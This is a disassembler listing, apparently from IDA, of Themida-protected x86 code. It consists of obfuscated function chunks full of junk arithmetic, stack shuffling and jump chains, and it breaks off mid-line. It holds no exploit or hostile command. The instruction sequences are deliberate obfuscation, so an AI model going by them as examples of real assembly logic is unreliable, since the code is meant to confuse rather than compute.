--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58AB18 loc_58CC7D: ; CODE XREF: sub_58AB18-37A7j mov esi, 237945FDh not esi dec esi shr esi, 2 xor esi, 27151DE7h add esi, 57B6AA1h sub edi, 5DE71FCh sub edi, esi push ebx mov ebx, 5DE71FCh add edi, ebx pop ebx jmp loc_58E808 ; END OF FUNCTION CHUNK FOR sub_58AB18 ; --------------------------------------------------------------------------- loc_58CCAA: ; CODE XREF: Themida_:0058D404j sub al, dh sub al, 0ECh sub al, 56h push ebx mov bh, 0A8h add al, bh pop ebx jmp loc_58B0D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58CCBB: ; CODE XREF: sub_585452-1024j add ebp, 4 jmp loc_58E356 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58CCC6: ; CODE XREF: Themida_:0058F689j pop ecx add ax, 5D9h sub ax, dx sub ax, 5D9h jmp loc_58A2B9 ; =============== S U B R O U T I N E ======================================= sub_58CCD7 proc near ; CODE XREF: sub_58D97C-373Dj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00584957 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00588D99 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0058AC43 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058B22C SIZE 00000034 BYTES ; FUNCTION CHUNK AT 0058B31D SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0058C6D2 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058D07B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058D311 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058D39A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058DCBC SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0058E346 SIZE 00000010 BYTES push ebx mov ebx, esp jmp loc_58AC43 sub_58CCD7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_58CCDF: ; CODE XREF: Themida_:0058EA98j add edx, 4 xchg edx, [esp] pop esp jmp loc_588480 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B758 loc_58CCEB: ; CODE XREF: sub_58B758-520Fj pop eax push edx push 6C641C87h pop edx dec edx xor edx, 72053DFDh dec edx push 3957h mov [esp+0], ebp mov ebp, 63807A7Bh add ebp, 0F9BBA88Ah sub edx, 557E3363h sub edx, 34CE2C2Bh jmp loc_586E6F ; END OF FUNCTION CHUNK FOR sub_58B758 ; --------------------------------------------------------------------------- loc_58CD1F: ; CODE XREF: Themida_:00589104j xor ecx, [esp] mov esp, [esp] push edx mov edx, 0B0217C7h jmp loc_58E019 ; --------------------------------------------------------------------------- mov cx, [esp] push edi push esp pop edi push 4CC1h mov [esp], ebx push ecx push 6CF63DAFh pop ecx add ecx, 0F0B83167h jmp loc_58D4C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58CD51: ; CODE XREF: sub_585452+204Cj mov [esp+0], ebp jmp loc_58475D ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58CD59: ; CODE XREF: Themida_:0058EA2Fj dec edi add edi, 23F5DF45h sub ebx, edi pop edi add eax, ebx pop ebx add eax, 2A3C3F27h push ebp push 67A5h mov [esp], ecx jmp loc_58D841 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58CD79: ; CODE XREF: sub_585452+4501j add edi, 4 xchg edi, [esp+12h+var_14+2] pop esp xor al, ch pop ecx jmp loc_58B937 ; --------------------------------------------------------------------------- loc_58CD88: ; CODE XREF: sub_585452+9A2Dj not ecx inc ecx sub ecx, 0F8B1B126h mov ebx, ecx mov ecx, [esp+0Ah+var_C+2] add esp, 4 and ecx, ebx mov ebx, [esp+6+var_8+2] push ecx push esp mov ecx, [esp+0Eh+var_10+2] add esp, 4 push esi mov esi, 27F00805h jmp loc_58CDB9 ; --------------------------------------------------------------------------- loc_58CDB4: ; CODE XREF: sub_585452+5854j jmp loc_589F94 ; --------------------------------------------------------------------------- loc_58CDB9: ; CODE XREF: sub_585452+795Dj sub esi, 46782094h sub esi, 0E177E76Dh jmp loc_58CB56 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58CDCA: ; CODE XREF: Themida_:0058CFBCj push dword ptr [esp] pop edx push eax mov eax, esp add eax, 4 push edi mov edi, 4 add eax, edi pop edi xchg eax, [esp] jmp loc_58774C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58CDE7: ; CODE XREF: sub_585452+18B1j mov [edx+30h], ebp pop ebp jmp loc_589849 ; --------------------------------------------------------------------------- loc_58CDF0: ; CODE XREF: sub_585452-1791j pop eax jmp loc_58A4B0 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58DA2E loc_58CDF6: ; CODE XREF: sub_58DA2E-1D8Fj pop ebx xor ah, 0E5h push ebx push edx push ebx jmp loc_5899BC ; END OF FUNCTION CHUNK FOR sub_58DA2E ; --------------------------------------------------------------------------- loc_58CE02: ; CODE XREF: Themida_:0058C21Dj mov cx, [esp] jmp loc_58F360 ; --------------------------------------------------------------------------- loc_58CE0B: ; CODE XREF: Themida_:005842B4j push ebp mov ebp, esp push 74D3h mov [esp], edx push 4FFBh jmp loc_58DBDD ; --------------------------------------------------------------------------- loc_58CE20: ; CODE XREF: Themida_:0058A06Dj pop esp add esi, 4 jmp loc_584CF5 ; --------------------------------------------------------------------------- loc_58CE2C: ; CODE XREF: Themida_:0058B318j add esp, 4 add esp, 4 jmp loc_588BB4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58CE3A: ; CODE XREF: sub_585452+A436j xor ebx, 4E172094h neg ebx xor ebx, 667E5668h jmp loc_58E31F ; --------------------------------------------------------------------------- loc_58CE4D: ; CODE XREF: sub_585452+9B5Dj push esi mov esi, 0CFF56762h xor eax, esi jmp loc_586180 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58CE5A: ; CODE XREF: Themida_:0058A739j pop ecx push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_58D8DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58CE6F: ; CODE XREF: sub_585452+2359j neg ebx sub ebx, 0BD430063h jmp loc_58BAEA ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_58CE7C: ; CODE XREF: sub_58EFBD-3D5Cj mov eax, [esp+0Ch+var_C] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+10h+var_10] pop esp add eax, 4 push edx push ecx push 14B831EAh jmp loc_587145 ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- loc_58CEA3: ; CODE XREF: Themida_:00583FDDj push ebp push esp pop ebp add ebp, 4 push edx mov edx, 2 sub ebp, edx pop edx jmp loc_58A504 ; --------------------------------------------------------------------------- loc_58CEBA: ; CODE XREF: Themida_:0058F5BEj pop ecx xor esi, [esp] xor [esp], esi jmp loc_58DF53 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58DD80 loc_58CEC6: ; CODE XREF: sub_58DD80+1j mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp+4+var_4] pop esp mov [esp+0], ecx mov ecx, 213B11AEh shr ecx, 7 not ecx xor ecx, 0FBD6CA5Fh xor ecx, ebp xor ebp, ecx xor ecx, ebp jmp loc_5858FA ; END OF FUNCTION CHUNK FOR sub_58DD80 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58CEF6: ; CODE XREF: sub_585452+6320j mov al, 0CEh xor al, 68h sub bl, 0B0h jmp loc_58ED8F ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58999B loc_58CF02: ; CODE XREF: sub_58999B+3FACj mov [esp+0], ebx mov ebx, esp push eax mov eax, 5B0A41B0h add eax, 1CC77005h shl eax, 6 dec eax push ebx mov ebx, 5F1B6914h inc ebx xor ebx, 0AB77042Eh sub eax, ebx jmp loc_586971 ; END OF FUNCTION CHUNK FOR sub_58999B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58CF2A: ; CODE XREF: sub_585452+55Cj add edi, ebx sub edi, 18E921A0h push ebx jmp loc_58FB98 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58CF38: ; CODE XREF: Themida_:0058FE66j add eax, 76CC5506h shr eax, 2 push ebp mov ebp, 9DB42AAh add eax, ebp pop ebp shr eax, 5 shl eax, 2 jmp loc_5885BF ; --------------------------------------------------------------------------- loc_58CF54: ; CODE XREF: Themida_:005871D9j mov [esp], esi push edx mov edx, 3CF6343Ch mov esi, 466972EAh sub esi, edx pop edx jmp loc_588194 ; =============== S U B R O U T I N E ======================================= sub_58CF6A proc near ; CODE XREF: sub_585452+C1Cj ; FUNCTION CHUNK AT 0058DDC6 SIZE 00000013 BYTES push ebp push esp pop ebp jmp loc_58DDC6 sub_58CF6A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58CF72: ; CODE XREF: sub_585452+AA72j or al, 2Ah inc al push small 7D5Fh mov word ptr [esp+54h+var_54], bx mov bh, 41h sub al, bh pop bx xor cl, al pop eax and cl, 38h push 5B70h mov [esp+52h+var_54+2], ebx jmp loc_58853C ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_587574 loc_58CF97: ; CODE XREF: sub_587574+8083j pop eax xchg ebp, [esp+0] jmp loc_58F4CF ; END OF FUNCTION CHUNK FOR sub_587574 ; --------------------------------------------------------------------------- loc_58CFA0: ; CODE XREF: Themida_:0058C8D6j pop ecx jmp loc_58A136 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_58CFA6: ; CODE XREF: sub_58EFBD-6DD1j xchg ebx, edx neg ebx xchg ebx, edx xchg ebp, edx inc ebp xor edx, ebp jmp loc_58C5D1 ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- loc_58CFB6: ; CODE XREF: Themida_:00586764j pop ebx xor al, dh push dword ptr [esp] jmp loc_58CDCA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EA34 loc_58CFC1: ; CODE XREF: sub_58EA34-5354j xchg eax, [esp+4+var_4] pop esp jmp loc_58C29A ; END OF FUNCTION CHUNK FOR sub_58EA34 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58CFCA: ; CODE XREF: sub_585452+2B1Cj or [edi+1Ch], ebx pop ebx jmp loc_58B227 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E234 loc_58CFD3: ; CODE XREF: sub_58E234-2F5Dj and eax, edi mov edi, [esp+0] push edi mov edi, esp push esi jmp loc_58892B ; END OF FUNCTION CHUNK FOR sub_58E234 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58CFE1: ; CODE XREF: sub_585452+9805j xchg eax, [esp-14h+arg_E+2] jmp loc_58F31E ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- xor [esp], dl xor dl, [esp] xor [esp], dl sub esp, 2 mov [esp], dx xchg dh, [esp] push bx push ecx mov ch, dh mov bl, ch pop ecx not bl mov dh, bl jmp loc_5875C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58D010: ; CODE XREF: sub_585452+E4j inc ebx shl ebx, 8 jmp loc_58B5B4 ; --------------------------------------------------------------------------- loc_58D019: ; CODE XREF: sub_585452-ABj add ebx, esi add ebx, 5DC60643h mov esi, [esp+0] push ebp push esp jmp loc_58B730 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58D02B: ; CODE XREF: Themida_:0058B9C2j mov eax, 4 add ecx, eax mov eax, [esp] add esp, 4 xchg ecx, [esp] pop esp jmp loc_583C20 ; --------------------------------------------------------------------------- loc_58D041: ; CODE XREF: Themida_:00584875j push eax push 5A81h mov [esp], esp push edx mov edx, 4 add dword ptr [esp+4], 44A61205h add [esp+4], edx push eax mov eax, 44A61205h sub [esp+8], eax pop eax pop edx pop eax add eax, 4 add eax, 4 push eax push dword ptr [esp+4] jmp loc_58EF34 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58CCD7 loc_58D07B: ; CODE XREF: sub_58CCD7-3F24j push edx jmp loc_584957 ; END OF FUNCTION CHUNK FOR sub_58CCD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589967 loc_58D081: ; CODE XREF: sub_589967+2352j mov [esp+0], eax jmp loc_586E80 ; END OF FUNCTION CHUNK FOR sub_589967 ; --------------------------------------------------------------------------- loc_58D089: ; CODE XREF: Themida_:0058FDC0j not ebx xor ebx, 0EC4EF4BBh sub esi, ebx pop ebx pop edx sub esp, 4 mov [esp], ebp mov ebp, 2 add esi, ebp jmp loc_58A2B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58D0A7: ; CODE XREF: sub_585452+3E8Cj mov ah, 0Ah sub ch, ah pop eax add ch, 6Eh sub ch, 5Dh sub ch, dh add ch, 5Dh sub ch, 6Eh add ch, 0Ah pop dx sub ch, 52h shr ch, 6 push ebx jmp loc_58D1F8 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BE98 loc_58D0CB: ; CODE XREF: sub_58BE98-2D6Dj sub eax, 0FBE1433h jmp loc_585AA6 ; END OF FUNCTION CHUNK FOR sub_58BE98 ; --------------------------------------------------------------------------- loc_58D0D5: ; CODE XREF: Themida_:00589E47j add ebx, 26396E20h sub ebx, 27E41D66h jmp loc_58E276 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585350 loc_58D0E6: ; CODE XREF: sub_585350+Aj mov [esp+0Ch+var_C], edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp+0Ch+var_C] pop esp mov [esp+8+var_8], ecx mov ch, dl mov al, ch pop ecx sub esp, 4 mov [esp+8+var_8], ecx mov ch, al jmp loc_5864A6 ; END OF FUNCTION CHUNK FOR sub_585350 ; --------------------------------------------------------------------------- loc_58D10D: ; CODE XREF: Themida_:0058494Bj push ebp mov ebp, 71D34EE2h xor ebp, 38B44699h or ebp, 15EA4522h shr ebp, 4 or ebp, 39E866D4h jmp loc_586754 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58D12D: ; CODE XREF: sub_585452+20E3j add bl, 0B9h push [esp+4+var_4] jmp loc_586C8B ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58D138: ; CODE XREF: Themida_:0058E47Cj add edx, 2DD499Fh mov eax, edx pop edx add edx, 0EA199Ah sub edx, eax sub edx, 0EA199Ah pop eax add edx, eax push esi push 11DB55FDh mov esi, [esp] add esp, 4 jmp loc_585EB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58D166: ; CODE XREF: sub_585452+6EA3j add esi, ebx push dword ptr [esp+0] jmp loc_584E03 ; --------------------------------------------------------------------------- loc_58D170: ; CODE XREF: sub_585452+5B55j mov edi, esp add edi, 4 jmp loc_5892FF ; --------------------------------------------------------------------------- loc_58D17D: ; CODE XREF: sub_585452+1BEFj pop ebx push ebx jmp loc_58E1E4 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58D184: ; CODE XREF: Themida_:00586699j mov ebx, edx pop edx neg ebx shr ebx, 8 xor ebx, 0D421AEh sub edi, 400362DBh jmp loc_589A4B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58D19D: ; CODE XREF: sub_585452+13DDj push eax not [esp+4Ah+var_4C+2] pop eax xchg eax, [esp+46h+var_48+2] pop ebp push esi mov esi, 35404EC5h jmp loc_58D79F ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58D1B1: ; CODE XREF: Themida_:0058BB44j pop ecx sub ebp, 4 jmp loc_5844CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58D1BD: ; CODE XREF: sub_585452+5242j mov ebp, 27CB1295h shr ebp, 8 sub ebp, 0F8ECAD4Bh add edx, ebp pop ebp jmp loc_588BE4 ; --------------------------------------------------------------------------- loc_58D1D3: ; CODE XREF: sub_585452+58E2j add esp, 4 push edi mov edi, 2 add ebx, edi mov edi, [esp-16h+arg_12] add esp, 4 xor ebx, [esp-1Ah+arg_16] xor [esp-1Ah+arg_16], ebx xor ebx, [esp-1Ah+arg_16] mov esp, [esp-1Ah+arg_16] jmp loc_58B3CC ; --------------------------------------------------------------------------- loc_58D1F8: ; CODE XREF: sub_585452+7C74j mov bh, 35h shl bh, 2 shl bh, 7 sub bh, 25h and bh, 6Fh sub bh, 0D8h add ch, bh pop ebx push 6FFFh jmp loc_586EBD ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58D216: ; CODE XREF: Themida_:0058F242j add ebp, 4 sub ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp jmp loc_58D59A ; --------------------------------------------------------------------------- loc_58D22E: ; CODE XREF: Themida_:00589465j add edi, 1CD7FE1h add edi, ecx sub edi, 1CD7FE1h pop ecx dec edi not edi shl edi, 8 shr edi, 2 or edi, 77B85A81h jmp loc_58EE09 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58D251: ; CODE XREF: sub_585452+1EA9j mov eax, [esp+2+var_4+2] add esp, 4 or ebp, 27EE0FC3h xor ebp, 7FEF3FFBh add ecx, ebp pop ebp xchg ecx, [esp-6+arg_0+2] mov esp, [esp-6+arg_0+2] push 3692h mov [esp+0], ebx push 80h pop ebx and ecx, ebx push dword ptr [esp+0] push [esp+2+var_4+2] pop ebx jmp loc_58D7FE ; END OF FUNCTION CHUNK FOR sub_585452 ; =============== S U B R O U T I N E ======================================= sub_58D28B proc near ; CODE XREF: sub_585452+933j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 0058432B SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0058A395 SIZE 00000033 BYTES ; FUNCTION CHUNK AT 0058EAE4 SIZE 00000012 BYTES push ebx mov ebx, 0CEA01FEDh add ecx, ebx pop ebx sub ebx, ecx pop ecx mov eax, [esp+0] jmp loc_58432B sub_58D28B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B5756 loc_58D29F: ; CODE XREF: sub_5B5756-315C9j mov ch, dl pop edx jmp sub_585452 ; END OF FUNCTION CHUNK FOR sub_5B5756 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58D2A7: ; CODE XREF: sub_585452+6DC2j push eax mov al, 0ECh sub al, 1 sub al, 0FFh push ebx jmp loc_587942 ; --------------------------------------------------------------------------- loc_58D2B4: ; CODE XREF: sub_585452+A073j xor ebp, esi jmp loc_58B200 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589972 loc_58D2BB: ; CODE XREF: sub_589972+140Fj add ebx, 12FFB7CAh push ebx pop eax pop ebx sub edx, 367C0B7Fh sub edx, eax add edx, 367C0B7Fh jmp loc_58BD19 ; END OF FUNCTION CHUNK FOR sub_589972 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58D2D7: ; CODE XREF: sub_585452+1E43j sub eax, 12DD7693h jmp loc_585671 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_583D6F loc_58D2E1: ; CODE XREF: sub_583D6F+7B3Bj sub edx, 65964C9Fh add edx, eax push esi mov esi, 33DB4B65h and esi, 283551DBh jmp loc_586374 ; END OF FUNCTION CHUNK FOR sub_583D6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58D2FA: ; CODE XREF: sub_585452+3A3Bj pop eax and eax, edi pop edi or eax, eax jz sub_58EFBD sub esp, 4 mov [esp+2+var_4+2], esi jmp loc_586EB7 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58CCD7 loc_58D311: ; CODE XREF: sub_58CCD7-2088j inc ecx sub ecx, 3A5E198Ah jmp loc_58D39A ; END OF FUNCTION CHUNK FOR sub_58CCD7 ; --------------------------------------------------------------------------- loc_58D31D: ; CODE XREF: Themida_:0058C520j push ebp mov ebp, esp add ebp, 4 jmp loc_58A0EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58D32B: ; CODE XREF: sub_585452+5EABj shr eax, 0Ah jmp loc_584FB1 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C230 loc_58D333: ; CODE XREF: sub_58C230+1747j rep movsd add esp, [edx+38h] push 398h mov [esp+0Ch+var_C], edi mov edi, 1A0803C4h sub edi, 1 push ebp jmp loc_588D38 ; END OF FUNCTION CHUNK FOR sub_58C230 ; --------------------------------------------------------------------------- loc_58D351: ; CODE XREF: Themida_:005894B1j sub eax, 2054C0Eh mov ebp, [esp] add esp, 4 jmp loc_58B9EE ; --------------------------------------------------------------------------- loc_58D361: ; CODE XREF: Themida_:0058D395j mov [esp], edx push esp mov edx, [esp] push edx mov edx, esp jmp loc_58D9CF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C230 loc_58D370: ; CODE XREF: sub_58C230-3051j mov [esp-0Ch+arg_8], ebp jmp loc_58C8A4 ; END OF FUNCTION CHUNK FOR sub_58C230 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58D378: ; CODE XREF: sub_585452+3EB0j xor edi, [esp+0Ah+var_C+2] xor [esp+0Ah+var_C+2], edi jmp loc_58A902 ; --------------------------------------------------------------------------- loc_58D383: ; CODE XREF: sub_585452+324Dj add esp, 4 jmp loc_58F4CA ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 jmp loc_58D361 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58CCD7 loc_58D39A: ; CODE XREF: sub_58CCD7+641j push eax push ebx jmp loc_58B22C ; END OF FUNCTION CHUNK FOR sub_58CCD7 ; --------------------------------------------------------------------------- loc_58D3A1: ; CODE XREF: Themida_:005884D1j push ecx mov ecx, 79D85380h jmp loc_58E86E ; --------------------------------------------------------------------------- loc_58D3AC: ; CODE XREF: Themida_:00585F7Bj push ebx mov ebx, 4 jmp loc_58E39B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58D3B7: ; CODE XREF: sub_585452+4868j add esp, 4 mov eax, [esp-1Ah+arg_16] push ebp push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp-16h+arg_12] pop esp and eax, edx push [esp-1Ah+arg_16] pop edx add esp, 4 or edx, eax shl edx, 1 push ecx push 24h pop ecx add ecx, edi sub esp, 4 mov [esp-16h+arg_12], ebx jmp loc_584CFB ; --------------------------------------------------------------------------- loc_58D3F7: ; CODE XREF: sub_585452+F39j mov cl, 0ADh dec cl jmp loc_58DC23 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58D400: ; CODE XREF: Themida_:0058B97Fj pop dx add al, 0ECh jmp loc_58CCAA ; --------------------------------------------------------------------------- loc_58D409: ; CODE XREF: Themida_:00587863j sub ebx, 5DF57579h mov edx, ebx pop ebx jmp loc_58EFF1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58D417: ; CODE XREF: sub_585452+92F8j mov [esp-24h+arg_1E+2], esi mov esi, ebx jmp loc_58AE24 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58D421: ; CODE XREF: Themida_:00583CEAj add ebp, 676E0399h add ebp, ebx sub ebp, 676E0399h pop ebx add ebp, 4 push ebp push dword ptr [esp+4] jmp loc_585A5C ; --------------------------------------------------------------------------- loc_58D43D: ; CODE XREF: Themida_:00587E6Fj mov dl, bl jmp loc_58ECDB ; --------------------------------------------------------------------------- loc_58D444: ; CODE XREF: Themida_:0058CB46j xor [esp], ebp xor ebp, [esp] pop esp jmp loc_58966D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58D450: ; CODE XREF: sub_585452+3F90j sub esi, ebp jmp loc_58EC48 ; --------------------------------------------------------------------------- loc_58D457: ; CODE XREF: sub_585452+83EAj add edx, 29AE50BBh pop ebp xor edx, [esp-28h+arg_24] xor [esp-28h+arg_24], edx xor edx, [esp-28h+arg_24] pop esp movsx ecx, ax push 5402h mov [esp-28h+arg_24], ecx jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58D478: ; CODE XREF: Themida_:00583EAEj mov ah, bh mov dh, ah pop eax pop ebx push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 add al, 82h add al, dh sub al, 82h pop dx xor bl, al movzx eax, al push dword ptr [edi+eax*4] jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA66 loc_58D4A2: ; CODE XREF: sub_58FA66-ACB8j pop eax add ecx, esi jmp loc_585263 ; END OF FUNCTION CHUNK FOR sub_58FA66 ; --------------------------------------------------------------------------- loc_58D4AA: ; CODE XREF: Themida_:0058487Dj pop eax jmp loc_586E59 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58999B loc_58D4B0: ; CODE XREF: sub_58999B+59A4j mov dx, word ptr [esp+8+var_A+2] push edi mov edi, esp add edi, 4 add edi, 2 jmp loc_58DF20 ; END OF FUNCTION CHUNK FOR sub_58999B ; --------------------------------------------------------------------------- loc_58D4C5: ; CODE XREF: Themida_:0058CD4Cj mov ebx, ecx pop ecx not ebx add ebx, 232B3514h jmp loc_584598 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F728 loc_58D4D5: ; CODE XREF: sub_58F728-44B0j add ecx, ebp pop ebp xchg ecx, [esp-8+arg_4] jmp loc_58B3A4 ; END OF FUNCTION CHUNK FOR sub_58F728 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58905F loc_58D4E0: ; CODE XREF: sub_58905F+68BFj xor esi, ebp jmp loc_585B00 ; END OF FUNCTION CHUNK FOR sub_58905F ; --------------------------------------------------------------------------- loc_58D4E7: ; CODE XREF: Themida_:0058E5FCj xchg edi, [esp] jmp loc_587483 ; --------------------------------------------------------------------------- loc_58D4EF: ; CODE XREF: Themida_:00589E7Cj neg ebp sub ebp, 82522408h add eax, ebp jmp loc_588F09 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589967 loc_58D4FE: ; CODE XREF: sub_589967-25FCj mov ebx, 1E4E5FACh or ebx, 191521B0h jmp loc_588744 ; END OF FUNCTION CHUNK FOR sub_589967 ; --------------------------------------------------------------------------- loc_58D50E: ; CODE XREF: Themida_:0058E2B9j mov [esp], esi mov esi, 5CEF6D82h jmp loc_58ACB6 ; --------------------------------------------------------------------------- loc_58D51B: ; CODE XREF: Themida_:00587E01j mov ecx, esp jmp loc_587FB7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C230 loc_58D522: ; CODE XREF: sub_58C230-44E7j mov [esp-4+arg_0], eax push esp push dword ptr [esp+0] pop eax push edi mov edi, esp jmp loc_58F2A6 ; END OF FUNCTION CHUNK FOR sub_58C230 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_586A34 loc_58D532: ; CODE XREF: sub_586A34+7098j dec ebx dec ebx push eax jmp loc_58C03C ; END OF FUNCTION CHUNK FOR sub_586A34 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58D53A: ; CODE XREF: sub_585452+769Ej pop esp push ebx jmp loc_58F18D ; --------------------------------------------------------------------------- loc_58D541: ; CODE XREF: sub_585452+C29j push eax mov eax, 12BB2D77h mov ebx, 53140066h xor ebx, eax pop eax inc ebx jmp loc_58F885 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58D555: ; CODE XREF: Themida_:0058776Aj push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_5854D5 ; --------------------------------------------------------------------------- loc_58D569: ; CODE XREF: Themida_:0058A607j push eax mov eax, 2B3960BCh add edi, eax pop eax sub edi, 9B26D408h mov eax, edi jmp loc_58943A ; --------------------------------------------------------------------------- loc_58D57F: ; CODE XREF: Themida_:0058F9EEj not dh jmp loc_58D901 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58960C loc_58D586: ; CODE XREF: 